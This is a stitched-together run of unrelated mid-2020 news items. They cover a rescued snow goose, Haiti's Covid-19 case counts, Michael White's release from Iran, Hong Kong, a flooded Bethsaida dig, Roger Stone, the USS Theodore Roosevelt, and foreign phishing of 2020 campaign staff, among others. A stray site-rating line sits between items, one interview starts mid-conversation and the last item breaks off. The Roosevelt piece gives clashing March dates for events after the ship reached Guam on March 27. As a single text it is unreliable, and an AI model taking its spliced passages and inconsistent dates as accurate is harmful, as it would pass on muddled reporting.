EDWARDSVILLE  For six weeks, a blue morph-Snow Goose has made the north shore of Dunlap Lake its home after falling out of the sky and apparently breaking one of its wings, but has since been saved.

Thomas was rescued Thursday afternoon by Treehouse Wildlife Center of Elsah, Illinois. The bird lived on the shoreline directly behind the residence of Rob Wiemers. His neighbor, Mike, recounted the event that put Thomas wellbeing at risk.

Well, we were just out on the boat when we heard this loud smack on the water and we didnt see it so we didnt know what it was right away, he said. I used to live in Florida and it reminded me of almost a pelican diving into the water from 20 feet up. Then we saw him swimming  we figured thats what it was.

Thomas, for an unknown reason, fell out of the sky and hit the water so hard that he injured his wing and is no longer able to fly.

After six weeks of living in Wiemers backyard with the occasional dip in the lake, Sarah Riley came to the rescue Thursday. Riley is an animal care volunteer with Wildlife Treehouse and travels all over southern Illinois to help safely catch injured animals to help nurse them back to health.

Thomas will be brought back to Elsah where he will go through a full evaluation to see what is or isnt broken and if he has any illness, she said. If need be, we work closely with Hawthorne Animal Hospital and we can get an X-ray done.

She said that since he cannot fly now, he most likely will never be able to. Regardless, executive director and owner of Treehouse Wildlife Center, Adele Moore, will take Thomas under her wing. Following his rehabilitation, Thomas will go to live on Moores private residence where she has a 10-acre lake with other waterfowl including another Snow Goose.

Snow Geese, primarily blue morphs, can and usually do flock with different species of geese. Thomas can be described as a blue morph-Snow Goose due to his white head and dark body. The sex of this species of geese cannot be determined with the naked eye.

There are multiple morphs among Snow Geese, all with their own distinct pattern and coloring. Snow Geese spend their winters in southern and eastern coastal marshes, bays and fields. In the spring, they make the long commute to the north tundras to their mating grounds where they spend the summer.
Monterrain.ma scored 40 Social Media Impact. Social Media Impact score is a measure of how much a site is popular on social networks. 2/5.0 Stars by Social Team

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Haiti - Covid-19 : The epidemic progresses 2,740 confirmed cases





The Ministry of Public Health informs that 100 new cases of Covid-19 have been confirmed in Haiti (the day before : 133), for a total of 2,740 cases throughout the national territory (40.7% women and 59.3% of men) since the first case (March 19, 2020 https://www.haitilibre.com/en/news-30319-haiti-health-origin-of-the-first-2-cases-of-covid-19-in-haiti.html ).



Active cases (less death and recovery) : 2,566 cases (+ 3.9%) +100 cases in 24 hours (the day before: +131)



Number of suspected cases investigated since March 19 : 5,900 cases (+ 6.08%) +338 (the day before: +292)



People hospitalized and quarantine at home : (information not available)



Confirmed cases by department (2,740) :

West: 2.186 cases +88 (the day before: +104)

Artibonite: 154 cases +1 (the day before: +1)

Center: 88 cases +11 (the day before: +1)

North: 67 cases unchanged (the day before: +9)

South: 52 cases unchanged (the day before + 1)

South-East: 49 cases unchanged (the day before: +6)

North West: 49 cases unchanged

GrandAnse: 35 cases unchanged (the day before: +5)

North East: 34 cases unchanged (the day before +2)

Nippes: 26 cases unchanged (Eve +4)



Location of cases (2,740) :



West : (2,186 cases) +88

Delmas : 568 cases +8 (the day before : +36)

Port-au-Prince : 502 cases +40 (the day before : +16)

Petion-ville : 413 cases +13 (the day before : +9)

Tabarre : 233 cases +19 (the day before : +13)

Carrefour : 180 cases unchanged (the day before : +3)

Croix-des-Bouquets : 150 cases +7 (the day before : +18)

Cite Soleil : 43 cases unchanged (the day before +2)

Kenskoff : 32 cases unchanged (the day before : +3)

Gressier 19 cases unchanged

Leogane : 18 cases unchanged (the day before : +1)

Petit-Goave : 9 cases +2 (the day before : +2)

Cabaret : 6 cases unchanged

Archaie : 5 cases +1 (the day before : +1)

Ganthier : 4 cases +1

Grand Goave : 3 cases (unchanged)

Thomazeau : 1 (unchanged)



Artibonite : (154 cases) +1

Saint Marc : 69 cases unchanged (the day before : +7)

Gonaives : 38 cases +1 (the day before : +4)

Verettes : 16 cases unchanged (the day before : +3)

Estere : 9 cases unchanged (the day before : +1)

Saint Michel : 4 cases (unchanged)

Marchand Dessalines : 7 cases (unchanged)

Ennery : 3 cases unchanged (the day before : +2)

Petite Riviere de lArtibonite : 3 cases unchanged (the day before : +1)

Anse Rouge : 2 cases (unchanged)

Desdunes : 1 case (unchanged)

Grande Saline : 1 case (unchanged)

Marmelade : 1 case (unchanged)



Center : (88 cases) +11

Mirebalais : 47 +10

Hinche : 33 cases +1 (the day before : + 1)

Lascaobas : 2 cases unchanged

Belladere : 2 cases (unchanged)

Boucain Carre : 1 case (unchanged)

Saut-dEau 1 case (unchanged)

Savanette : 1 case (unchanged)

Thomonde : 1 (+1)



North : (67 cases) unchanged

Cap Haitien : 44 cases unchanged (the day before : +4)

Limbe : 10 cases unchanged (the day before : +3)

Plaisance du Nord : 3 cases unchanged (the day before +1)

Milot : 3 cases unchanged (the day before : +1)

Acul du Nord : 2 cases (unchanged)

Limonade : 2 cases (unchanged)

Plaine du Nord : 2 cases (unchanged)

Port Margot : 1 case (unchanged)



South : (52 cases) unchanged

Cayes : 35 cases (unchanged)

Aquin : 6 cases (unchanged)

Chantal : 2 cases (unchanged)

Camp-Perrin : 1 case (unchanged)

Cavaillon 1 case (unchanged)

Ile-a Vache : 1 case (unchanged)

Port-Salut : 1 case (unchanged)

Torbeck : 1 case (unchanged)

Saint-Louis du Sud : 1 case (unchanged)

Les Anglais : 1 case (unchanged)

Chardonnieres : 1 case (unchanged)

Port a Piment : 1 case (unchanged)



North-West : (49 cases) unchanged

Port-de-Paix : 39 cases (unchanged)

Jean Rabel : 3 cases unchanged (unchanged)

Bombardopolis : 2 cases unchanged (unchanged)

Mole Saint-Nicolas : 3 cases unchanged (unchanged)

Cansolme : 1 unchanged (unchanged)

Saint-louis du Nord : 1 case (unchanged)



South-East : (49 cases) unchanged

Jacmel : 31 case unchanged (the day before +5)

Cote-de-Fer : 4 cases (unchanged)

Thiotte : 3 cases (unchanged)

Vallee de Jacmel : 6 cases unchanged(the day before : +1)

Belle Anse : 2 cases (unchanged)

Marigot : 2 cases (unchanged)

Bainet : 1 case (unchanged)



Grand'Anse : (35 cases) unchanged

Jeremie : 29 cases unchanged (the day before : +5)

Chambellan : 4 cases (unchanged)

Roseau : 1 case (unchanged)

Pestel : 1 case (unchanged)



North-East : (34 cases) unchanged

Fort Liberte : 15 cases unchanged (the day before : +1

Ouanaminthe : 10 cases unchanged (the day before : +1

Trou du Nord : 7 cases (unchanged)

Carice 1 case (unchanged)

Caracol 1 (unchanged)



Nippes : (26 cases) unchanged

Fond des Negres : 6 cases unchanged (the day before :+3)

Miragoane : 7 cases unchanged (the day before : +2)

Anse a Veau 5 cases unchanged (the day before : +1)

Arnaud : 1 case unchanged (the day before :+1)

LAsile : 4 cases (unchanged)

Paillant : 1 case (unchanged)

Petit Trou de Nippes 1 case (unchanged)

Plaisance du Sud : 1 case (unchanged)



Distribution of cases by age group (2,740) :

0-9 years: 70 cases +1

10-19 years: 84 cases unchanged

20-29 years: 509 cases +17

30-39 years: 867 cases +40

40-49 years: 557 cases +19

50-59 years: 343 cases +10

60-69 years: 198 cases +6

70 years and over: 112 cases +7



Distribution of deaths by age group (50) :

0-9 years: 1 death

10-19 years: 1 death

20-29 years: 2 deaths

30-39 years: 4 deaths

40-49 years: 10 deaths

50-59 years: 10 deaths

60-69 years: 9 deaths

70 and over: 13 deaths



Healings :: 24 (unchanged)



Death : 50 (unchanged)



Mortality rate : 1.82% (-)



See also :

https://www.haitilibre.com/en/news-30952-haiti-covid-19-daily-report-june-5-2020.html

https://www.haitilibre.com/en/news-30944-haiti-covid-19-daily-report-june-4-2020.html



HL/ HaitiLibre


















In what the Donald Trump administration has avoided framing as a prisoner swap but came the same day an Iranian-American doctor was released in the United States, Navy veteran Michael White was freed from Iranian custody Thursday. Former New Mexico Governor Bill Richardson, who played a key role in the negotiations, says the timing was no coincidence.

It may not necessarily be a prisoner swap per se, but its a joint humanitarian effort on both sides that is not concurrent, Richardson told Al-Monitor. It shows hopefully the possibility of more joint releases like this.

White had been jailed in Iran since July 2018 after posting a photo of himself on social media and being convicted of insulting Irans supreme leader. In March, the 48-year-old cancer survivor contracted the novel coronavirus in Tehrans notorious Evin prison.

Amid concerns over a wider outbreak in its detention facilities, the Iranian government released White on temporary medical furlough, and hes since remained in the custody of the Swiss Embassy in Tehran.

On Thursday, White was flown out of the country by Switzerland, which represents American interests in Iran. He returned to the United States with Brian Hook, the presidents special envoy for Iran.

We will not rest until we bring every American wrongfully detained in Iran and around the world back home to their loved ones, US Secretary of State Mike Pompeo tweeted. We are pleased the Iranian government has been constructive in this matter.

As US officials celebrated Whites release Thursday, their Iranian counterparts announced their own news. Javad Zarif, the countrys foreign minister, tweeted that Majid Taheri, a Florida-based Iranian-American doctor convicted of sanctions violations, had also been released from US custody.

We achieved humanitarian swap *despite* your subordinates' efforts, @realDonaldTrump, Zarif wrote.

Taheri was one of two prisoners Iran received from the United States this week. On Wednesday, Sirous Asgari arrived in Tehran after being held for months at an Immigration and Customs Enforcement facility in Louisiana. The materials science professor was acquitted in November 2019 of trying to steal federal trade secrets while working at Case Western Reserve University in Ohio.

Acting Deputy Homeland Security Secretary Kenneth Cuccinell denied Asgaris release was related to White. He told the Associated Press the US Justice Department had been trying to deport Asgari since his acquittal, but Iran only provided a passport for him in late February.

But Taheri, the dual citizen released to Iran Thursday, did come up in talks with the Iranians, Richardson told Al-Monitor. On behalf of White's family, the former governor says he discussed the veteran's possible release over the course of the last nine months with Irans ambassador to the United Nations, Majid Takht Ravanchi. Richardson also held talks twice with Zarif, meeting once in Doha and once in New York City.

About six weeks ago, Richardson said the Iranians informed him that they wanted Taheri in exchange for White, information he says he passed along to both the US State Department and the White House.

The US State Department and the Iranian mission to the United Nations did not immediately return a request for comment.

The diplomatic maneuvering to bring White home came amid months of escalating tensions between Iran and the United States. In recent months, Iran-backed militias have launched deadly rocket attacks on American interests in Iraq, and Iranian vessels have come dangerously close to US warships in the Persian Gulf.

The Trump administration, meanwhile, has pressed on with its campaign of sanctions against the Islamic Republic over its nuclear ambitions and rights violations. In a tweet Friday, Trump called on Iran to seize the moment and enter into a new, harsher nuclear deal than the Obama-era accord the president withdrew the United States from in 2018.

I think some of these negotiations were complicated by the enormous tension in the relationship, Richardson said. I think it seems to be getting worse every day.

He went on, "Theres a little window on humanitarian issues that exists between the US and Iran that have allowed these releases to happen."

At least three Americans are left in Iranian custody. Morad Tahbaz, an Iranian environmentalist with US and British citizenship, is serving a 10-year sentence for espionage charges. Businessman Siamak Namazi is held in Evin prison on trumped-up charges and his 84-year-old father Baquer Namazi, a former UN official, is out on medical furlough but unable to leave the country.

Over Twitter Thursday, Babak Namazi questioned why his brother and father, dual Iranian-American citizens, havent yet been part of any release deal.

We are very happy for the family of Michael White, Namazi said in a statement. At the same time, it is extremely hard for my family to understand how a third prisoner swap or release has taken place which has not included my family and other American hostages unjustly held in Iran.

Washington Post journalist Jason Rezaian and three other Iranian-Americans were freed in a prisoner exchange the same day the landmark nuclear deal came into force in 2016. Last year, Chinese-American Xiyue Wang returned home to the United States in exchange for Iranian prisoner Masoud Soleimani.

In March, the family of Robert Levinson, a former FBI agent who disappeared in Iran 13 years ago, confirmed his death in Iranian custody. Iran denies knowledge of Levinsons whereabouts or death.
Wall Street and New York Stock Exchange in New York. Alexander Spatari | Getty Images

The stock market has defied gravity in recent weeks, rebounding nearly as quickly as it sold off amid the coronavirus pandemic. The threat of another steep decline is omnipresent. But stock investors shouldn't be concerned, experts say. In fact, panicking and selling out of stocks if the market craters again could cost investors a lot of money. "When the heat is on and things feel risky and scary, that's where your biggest potential returns are going to lie as a stock market investor," Fitzgerald said.

Stock market rebound

The S&P 500, an index measuring the stock performance of the largest public companies in the U.S., fell 34% between mid-February and Mar. 23 as investors grew skittish amid a worsening coronavirus pandemic. It was the fastest decline of its kind in history. However, it was followed by the best 50-day rally in the history of the S&P 500. The stock index is up about 38% from its trough, within reach of fully erasing its recent losses. (Breaking even requires a larger percentage gain than the prior percentage decline.)

Zoom In Icon Arrows pointing outwards

Indeed, fleeing the stock market for cash could cost investors in the long run. An investor who put $10,000 in the S&P 500 index at the beginning of 1999 and didn't touch it would have seen that investment grow to nearly $30,000 by the end of 2018, according to an analysis by J.P. Morgan. In contrast, missing out on the 10 best-performing days during that 20-year period would have cut those returns in half.

Speculating vs. investing

Stock investors have nudged the market higher as states began reopening their economies, ushering in hope that consumer spending will increase and provide a shot in the arm to ailing businesses. However, that sentiment could sour  and cause another big selloff  if a second wave of Covid-19 pushes states to reimpose strict social-distancing rules. Some health officials are worried large nationwide protests over the death of George Floyd while in police custody may be a "seeding event" for further outbreaks. "Broadly, [market] sentiment hasn't soured so much," said Robert Jenkins, head of global research at Lipper. "But there are potential influencers that could turn it the other way."

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BEIJING (AP)  The last British governor of Hong Kong criticized the Chinese government on Friday over proposed national security legislation, calling it part of an Orwellian" drive to eliminate opposition in violation of the agreement on handing the territory over to Beijing.

Chris Patten defended Londons announcement that it would grant residency and a path to citizenship for nearly 3 million Hong Kong residents if Beijing goes through with passage of the legislation.

The law is seen as potentially imposing severe restrictions on freedom of speech and opposition political activity in the former British colony that was handed over to Chinese rule in 1997. China has denounced the offer of citizenship as a violation of its sovereignty.

If theyve broken the (Sino-British) Joint Declaration, if theyve thrown it overboard, how can they then use the joint declaration as though it stops us doing something thats a sovereign right of ours? said Patten, now chancellor of the University of Oxford, in an online talk with reporters.

The declaration is a bilateral treaty signed as part of the handover process. China has essentially declared it null and void, while Britain says Beijing is reneging on its commitments made in the document that was supposed to be remain in effect until 2047.

China shocked many of Hong Kongs 7.5 million people when it announced earlier this month that it will enact a national security law for the city, which was promised a high level of autonomy outside of foreign and defense affairs.

An earlier push to pass security legislation was shelved after massive Hong Kong street protests against it in 2003. However, Beijing appeared to lose patience after months of sometimes violent anti-government protests in Hong Kong last year that China said was an attempt to split the territory off from the rest of the country.

Patten said the security legislation is unnecessary because Hong Kong's legal code already includes provisions to combat terrorism, financial crimes and other threats to security.

Story continues

What Beijing wants is something which deals with those rather worrying Orwellian crimes like sedition, whatever that may be," Patten said.

China may also be seeking grounds to disqualify opposition candidates from running in September's election for the local legislature by accusing them of being disloyal, he said.

Beijing has ignored promises that Hong Kong could democratize of its own accord after the handover, Patten said. The U.S. should unite with other democratic countries to oppose underhanded tactics by Beijing, he said.

Its the Chinese Communist Party which attacks us, which hectors, which bullies, which tells companies which have roots in our countries, that unless they do what China wants, they wont get any business in China, Patten said. Thats the way the Mafia behave, and the rest of the world shouldnt put up with it, because if we do, liberal democracies are going to be screwed.
Ancient village cursed by Jesus flooded in heavy rains Location said to be hometown of 3 apostles, near where Jesus fed 5,000

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One of the sites on the banks of the Sea of Galilee near where some believe Jesus miraculously fed the 5,000 as described in all four Gospels has been flooded by heavy rains that have forced archeologists to abandon their excavation.

Kinneret College professor Moti Aviam, a lead archaeologist at the excavation site that researchers are trying to prove is where the ancient fishing village of Bethsaida once stood, told the Israeli newspaper Haaretz about the extent of the flooding at the site.

He recently returned to the site following record-breaking rainfall in northern Israel in recent months after coronavirus restrictions were lifted.

Obviously I knew the Kinneret [Sea of Galilee] had risen, but I didnt know how its rise would affect the excavation, Aviam said. I dont remember a thing like this in the last 30 years, though I dont schlep over every year to check it.

Even if it rains in April and May [and it did], by July or August the site dries out, he added. But it never occurred to me that the lagoon would encompass the whole site of el-Araj.

The excavation site is located in the historic coastal village of El-Araj.

Collaborating with Kinneret College on the excavation is the Distinguished Professor of New Testament and Christian Origins R. Steven Notley of Nyack College in New York, as well as student volunteers.

The New Testament verse John 1:44 states that Bethsaida is the hometown of Jesus disciples Andrew, Peter and Philip. Bethsaida is also one of the towns on the Sea of Galilee that Jesus cursed for failing to repent as described in Luke 10:13-15 and Matthew 11:20-24.

The town is also said to be near where Jesus also miraculously fed the 5,000 from five loaves of barley bread and two fish, and near where Jesus restored a blind mans sight as described by Mark 8:22-25.

According to Aviam, much of the village was on land before the rains came.

Now, some parts of the excavation site are submerged. He told the newspaper that the remains of a Byzantine structure that is believed to be the Church of the Apostles is underwater.

The Church of the Apostles was said to have been built over the house of Jesus disciples Peter and Andrew, who were brothers.

At the moment, the water is 80 centimeters [2 feet, 7 inches] above the mosaic of the Byzantine church, which was built 500 years after Jesus time, Aviam said.

The excavation of the church structure was set to resume this summer. However, the excavation will have to be delayed until the summer excavation season of 2021.

The lake water rises and falls over the ages, and no damage has been caused, Aviam was quoted as saying. We conserved the mosaic floor of the church and the water standing on it wont harm it. But even if the water level recedes by July, we wont be able to continue excavation work because of the mud.

A competing excavation site that researchers also believe could be the village of Bethsaida is called et-Tell. The ancient village is located north of el-Araj on the shore of the Sea of Galilee.

An excavation site in et-Tell is led by Rami Arav, associate professor of religious studies at the University of Nebraska Omaha. He is author of the book, Bethsaida, a City by the Northern Shores of the Sea of Galilee.
Sleep well: Roger Stone, former campaign adviser to President Donald Trump, and his wife Nydia. Photo: Yara Nardi

Donald Trump has strongly hinted at a pardon for his friend and long-time political adviser Roger Stone, who has been ordered to report to prison later this month.

The US president said Mr Stone was the "victim of a corrupt and illegal Witch Hunt" and should "sleep well at night".

His Twitter comments came in response to a tweet by conservative activist Charlie Kirk.

He had complained Stone would be serving more time in prison than "99pc of these rioters destroying America", a reference to the protests in the wake of the George Floyd's death in police custody in Minneapolis.

"This isn't justice," Mr Kirk tweeted, asking his Twitter followers to retweet him "for a full pardon of Roger Stone!"

Mr Trump tweeted: "No. Roger was a victim of a corrupt and illegal Witch Hunt, one which will go down as the greatest political crime in history. He can sleep well at night!"

Convicted

A jury convicted Stone in November of lying during testimony to the House Intelligence Committee in September 2017.

He had concealed his central role in the Trump campaign's efforts to learn about Democratic computer files hacked by Russia and made public by WikiLeaks to damage Mr Trump's opponent, Hillary Clinton.

Stone, the last defendant charged in special counsel Robert Mueller's investigation of Russian interference in the 2016 election, was sentenced to three years and four months in prison.

It was suspended pending his motion for a new trial.

A federal judge denied that motion in April and last week, the Federal Bureau of Prisons said Stone must report to federal prison by June 30. Mr Trump has hinted at a possible pardon of his close ally before, but yesterday's was the first since that announcement.

In a separate tweet on Wednesday, Mr Trump wrote that Mr Mueller "should have never been appointed" to investigate Russian interference in the election.
PARIS - French President Emmanuel Macron has made a fresh call for Iran to immediately release a French-Iranian researcher.

In a tweet marking the one-year anniversary of Fariba Adelkhahs arrest Friday, Macron said it is unacceptable that she is still in prison.

Adelkhah was sentenced in May to six years imprisonment on charges relating to security.

In March, a prisoner exchange was carried out between Iran and France, swapping researcher Roland Marchal for engineer Jalal Ruhollahnejad. But there has been little indication that Adelkhah will similarly be released.

Iranian officials said initially last year that Adelkhah, a prominent anthropologist who often travelled to Iran for research on post-revolutionary Iranian society, had been arrested on espionage charges.
The main job of the World Health Organization is actually to gather information from the various countries that comprise the U.N. and publicize information that needs to be turned into an alarm. That is something that they did in this case but they were a little bit later than we wish they would have been. But its hard to pin any dimension of our lack of preparedness on the World Health Organization. So that coordinating, alarm-issuing role is very significant.

Unfortunately, international organizations are very dependent on the governments that comprise those organizations. Its not as though the U.N. secretary general gets to march into the Wuhan wet market and poke around. Hes dependent, as is the head of the World Health Organization, on the Chinese government allowing that kind of access. While that seems kind of lame on one level, imagine if we were talking about the United States.

The W.H.O. also gathers resources from the member states, particularly the wealthier ones, the donor states, and then provides supplies to developing countries and governments that just dont have the ability to manufacture them or to afford them. I mean, the country of South Sudan only had four ventilators at the start of this crisis and fewer than 200 doctors in the whole country. So that pooling of resources to send to those areas is critical.

In a recent opinion piece in The Times, you argue that Americas chances of recovery from the coronavirus outbreak are tied to the well-being of other countries and therefore the U.S. needs to lead global efforts to stem the spread of the virus. Could you explain exactly why our fates are so linked with the fate of other countries?

Im old enough to remember when it was not controversial to note how linked we are. Its a pandemic that came from somewhere else, traveled presumably on an airplane with somebody, unwittingly, and has wreaked havoc on our communities, our economy, our psychology. But it has become something you kind of have to argue now, to say actually, it matters what happens beyond our borders. We have so many family ties with people living in other countries. Our global supply chains, at least for the time being, stretch like capillaries into the deepest recesses of many developing countries. Our trade ties extend to other places. Normalcy elsewhere matters to normalcy here. We know that viruses dont respect borders. But that also requires thinking about the recovery in similar terms. We have to buckle down and do what we need to do here, but we wont be able to return to normal until the hot spots are calmed around the world.

What do you think this crisis has done for the respect of global organizations and for the respect of America around the world?

Some of the lesson learning in the United States will be related to globalization and it will be healthy. There will be a question about how we make ourselves less susceptible to disruptions in global supply chains.
USS Theodore Roosevelt Is Back Operating in Pacific After CCP Virus Sidelined the US Warship

The USS Theodore Roosevelt has returned to sea and is conducting military operations in the Pacific region after the CCP (Chinese Communist Party) virus sidelined the nuclear-powered aircraft carrier for about 10 weeks.

About a fifth of its 4,800 sailors got infected with COVID-19, the disease caused by the virus. The aircraft carrier made headlines in early April after the previous commander, Captain Brett Crozier, was relieved of duty for a breach of protocol when asking Pentagon leaders to pull crew off the carrier that had reported an outbreak of the virus.

On Thursday, 10 weeks after the vessel was quarantined, sailors lined up on the ships flight deck in white uniforms and wearing white masks, standing a virus-safe 10 feet apart in a final formal thank you as the ship sailed out of port in Guam.

The ship left Naval Base Guam and entered the Philippine Sea manned and ready to provide maritime security, maintain freedom of the seas in accordance with international law and customs, and operate with international partners and allies to promote regional stability and prosperity, the U.S. Navy said in a statement.

U.S. Navy Captain Carlos Sardiello said the carriers crew humbly prepared to go back to sea, they had a job to do, and they did it without hesitation.

When Theodore Roosevelt departed from Naval Base Guam, they manned the rails as a gesture of gratitude and thanksgiving to honor the people of Guam, the service members, and civilians who supported the recovery of the crew during the COVID-19 pandemic, Sardiello said.

File photo of U.S. Navy, Capt. Carlos Sardiello, who was then the commanding officer of the aircraft carrier USS Theodore Roosevelt (CVN 71), addresses sailors during the 244th Navy birthday celebration on the mess decks during a home port visit in San Diego, Oct. 15, 2019. (Petty Officer 3rd Class Zachary Wheeler/U.S. Navy via AP)

All sailors had to meet qualifications before being allowed to embark on the carrier, a U.S. Navy official told USNI News. Sailors who hadnt tested negative twice for COVID-19 were not accepted to embark.

Earlier this week, the Navy official told the outlet that all sailors who were left on Guam during carrier qualifications have met all health requirements and will board the carrier for deployment. Sailors who have not met those health requirements yet will remain on Guam until they are able to rejoin the carrier or return to their home ports.

Every recovered Sailor we embark is another victory against COVID, Sardiello said. He added that the U.S. Navy is dedicated to the recovery of every sailor. Those ashore will continue to receive the best medical care by military medical representatives. We greatly appreciate the continued support by Naval Base Guam, U.S. Naval Hospital Guam, and Expeditionary Medical Facility from Camp Pendleton.

The carrier pulled into Guam on March 27 with a rapidly escalating number of sailors testing positive for the CCP virus, and the U.S. Navy immediately implemented a phased and methodical approach to address a COVID-19 outbreak among its crew.

The aircraft carrier USS Theodore Roosevelt (CVN 71) operates in the Philippine Sea May 21, 2020, following an extended visit to Guam in the midst of the COVID-19 global pandemic. (U.S. Navy photo by Mass Communication Specialist Seaman Kaylianna Genier)

Over time, more than 1,000 were infected with COVID-19, setting off a lengthy and systematic process to move about 4,000 sailors ashore for quarantine and treatment, while about 800 remained aboard to protect and run the high-tech systems, including the nuclear reactors that run the vessel.

Slowly, sailors were methodically brought back on board, while the others who had remained went ashore for their mandated two-week quarantine. And in late March, the ship with only about 3,000 crew aboard went out to sea for roughly two weeks of training, including the recertification of the flight deck and fighter squadron, such as takeoffs and landings on the carrier.

Earlier this week, the Roosevelt wrapped up training and returned to Guam to pick up nearly 1,000 sailors who had been left there to either complete their quarantine or to manage and work with those still on the island. As the ship sailed into the port, it was flying a flag with the words Dont Give Up the Ship, a famous Navy battle cry from the War of 1812.

Our sailors didnt give up the ship. They fought and got it back. So I thought it was appropriate, said Sardiello, who asked one of the other Navy ships to borrow their flag. The ship was clean and the ship was healthy with no COVID cases. So I said, OK, were going to fly that one time on the way into Guam as a symbol to bolster their morale.

Sardiello, who has previously captained the carrier, was abruptly sent back to the ship in early April to take command after Crozier was relieved of duty after a letter he wrote urging Pentagon leaders to take faster action to stem the virus outbreak leaked to the media.

Captain Brett Crozier addresses the crew for the first time as commanding officer of the aircraft carrier USS Theodore Roosevelt during a change of command ceremony on the ships flight deck in San Diego, Calif., on Nov. 1, 2019. (U.S. Navy/Mass Communication Specialist 3rd Class Sean Lynch/Handout via Reuters)

Croziers actions raised alarm bells unnecessarily and created the impression that the navy was not responding to his questions, Acting U.S. Navy Secretary Thomas Modly said at the time, adding that the department of the navy had already moved resources for days in response to Croziers previous request.

After a preliminary review last month, Admiral Mike Gilday, the Navys top officer, recommended that Crozier be reinstated as captain of the carrier. But the Navy decided to conduct a broader investigation.

That review, which effectively delays a decision on Croziers reinstatement, was finished and submitted to Gilday at the end of March and he is still reviewing the extensive report, which includes several hundred pages of interviews, documents, and recommendations.

Commander Nate Christensen, a spokesman for Gilday said it will take time for the admiral to finish his review and make any decisions.

The Associated Press contributed to this report.
It's official: The race to hack the 2020 general election is in full swing.

Iran tried to hack into Gmail accounts used by President Donald Trump's reelection campaign staff, the leader of Google's threat-hunting team revealed in a tweet. China, meanwhile, tried to hack staff for former vice president Joe Biden, the presumptive Democratic presidential nominee, Shane Huntley said.

The hackers didn't successfully breach those accounts. But these nation state-backed hacking campaigns are likely to be the just the beginning of a general election campaign that will be ripe for disruption by U.S. adversaries.

"It's no surprise the Chinese and Iranian governments are trying to compromise our 2020 presidential campaigns through cyberattacks. Their goal is simple: suck up information about our candidates' campaigns and then create conflict and chaos in our election," Matt Rhoades, who managed Mitt Romney's 2012 campaign and helped launch a bipartisan group aimed at preventing election hacking, told me.

Officials with the Department of Homeland Security and U.S. intelligence have been warning for years that Russia and other nations will try to use hacking and disinformation to undermine the 2020 contest in a replay of operations from the last presidential race, which leaked reams of embarrassing information about Democratic nominee Hillary Clinton in an effort to help Donald Trump.

But the threat has grown in recent months as vastly more campaign work has moved online as a result of the coronavirus pandemic, experts say. The American public also has likely grown more vulnerable to influence efforts based on leaked information as it is roiled by conflict over the pandemic and civil unrest following the death of George Floyd in police custody.

"It doesn't matter if you are a Democrat or Republican, they are coming for you," said Rhoades, whose group Defending Digital Campaigns offers campaigns free and reduced-price access to cybersecurity products.

That's partly because adversaries can concentrate on hacking into just two campaigns now, Clint Watts, a distinguished research fellow at the Foreign Policy Research Institute who focuses on election interference, told me.

Adversaries are also probably ramping up their efforts now because it takes a lot of time and effort to successfully penetrate a well-protected organization such as a presidential campaign. So, if they hope to hack into a campaign, find embarrassing information and release it in a way that affects the November election, time is already running short, Watts said.

"You have to hack before you can influence, and the longer you wait, the more your window for influence is going to wind down," he said.

Microsoft revealed that a group tied to Iran was targeting a presidential campaign in October 2019, which media outlets including Reuters identified as the Trump campaign. Intelligence officials told Sen. Bernie Sanders, I-Vt., that Moscow was attempting to help his presidential campaign before Sanders dropped out of the race in April. Officials also told lawmakers that Russia prefers to see Trump reelected.

China has a long history of hacking for traditional espionage - such as learning the interests and motivations of U.S. leaders - without releasing the information they steal. That includes hacking the presidential campaigns of both Barack Obama and Sen. John McCain, R-Ariz., in 2008 and Mitt Romney, R, in 2012.

"China doesn't just want to know Biden's opinion about China. They want to know all of Biden's staff's opinions about every part of the world," Watts said.

Iran, however, is more likely to be interested in stealing and releasing information that undermines the Trump campaign because of leaders' antipathy toward the president, Watts said. Trump ordered the killing of one of Iran's top generals, Qasem Soleimani, in January and pulled the U.S. from the deal to curtail Iran's nuclear program negotiated by his predecessor Barack Obama.

An even more dire scenario would be if an adversary stole and released legitimate campaign information, along with phony or altered information aimed at disparaging the candidate.

"Since 2016 the fear is that the adversary could leak data and add forgeries to the leak," Thomas Rid, author of "Active Measures," a book on disinformation, and a professor at Johns Hopkins University, told Ellen Nakashima, Josh Dawsey and Matt Viser. "The concern is the adversary could weaponize the information."

Those officials are also advising the presidential campaigns on how best to protect themselves, along with officials from the FBI and DHS, my colleagues report.

Republican National Committee officials recently participated in one of those briefings and learned that foreign adversaries unsuccessfully tried to hack some of their staff members, my colleagues reported.

"We have known from the beginning of our campaign that we would be subject to such attacks and we are prepared for them," Biden's campaign said in a statement. "Biden for President takes cybersecurity seriously, we will remain vigilant against these threats, and will ensure that the campaign's assets are secured."

The Biden campaign told me earlier this year that its protections include requiring extra verifications before employees can log in to accounts and devices, and "training staff on cybersecurity best practices and tools to ensure the campaign infrastructure remains secure." The campaign did not respond to a question Thursday about whether all those protections are still in place.

A Trump official said the campaign is "vigilant about cybersecurity and do[es] not discuss any of our precautions."

The FBI said in a statement that "adversaries are constantly looking for vulnerable U.S. networks to exploit, and networks associated with political organizations are no exception. That is why we are focused on imposing consequences on malicious cyber actors, so they think twice before attempting an attack in the first place."
Toronto, Ontario--(Newsfile Corp. - June 4, 2020) - Lendified Holdings Inc. (TSXV: LHI) (formerly, Hampton Bay Capital Inc.) (the "Company" or "Lendified") announces that Mr. Jeremy Edelman has informed the Company of his resignation from the Company's board of directors effective today. Lendified wishes to express its appreciation to Mr. Edelman for his services to the Company and wishes him the best in his future endeavours.

ABOUT LENDIFIED HOLDINGS INC.

Lendified, a company located in Ontario, Canada, is a leading Canadian FinTech company operating both a lending platform which provides working capital loans to small businesses across Canada through its wholly-owned subsidiary, Lendified Inc., as well as a software as a service technology platform providing AI-enabled credit origination and analytics to financial institutions across Canada through its wholly-owned subsidiary, JUDI.AI.

Further Information

For further information regarding Lendified, please contact:

Troy Wright, Chief Executive Officer and Director

(647) 381-9218

troy.wright@lendified.com

Neither the TSXV nor its Regulation Services Provider (as that term is defined in the policies of the TSXV) accepts responsibility for the adequacy or accuracy of this release.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/57331
Senior diplomats from China and India on Friday held talks, the Chinese foreign ministry said, underlining that the two countries should not pose a "threat" to each other and not let their differences turn into disputes.

The talks through video conference were held between Naveen Srivastava, Joint Secretary (East Asia) in the external affairs ministry, and Wu Jianghao, Director-General of the Asian Department of China's ministry of foreign affairs on the eve of a Lieutenant General-level dialogue to resolve the month-long bitter border standoff in eastern Ladakh.

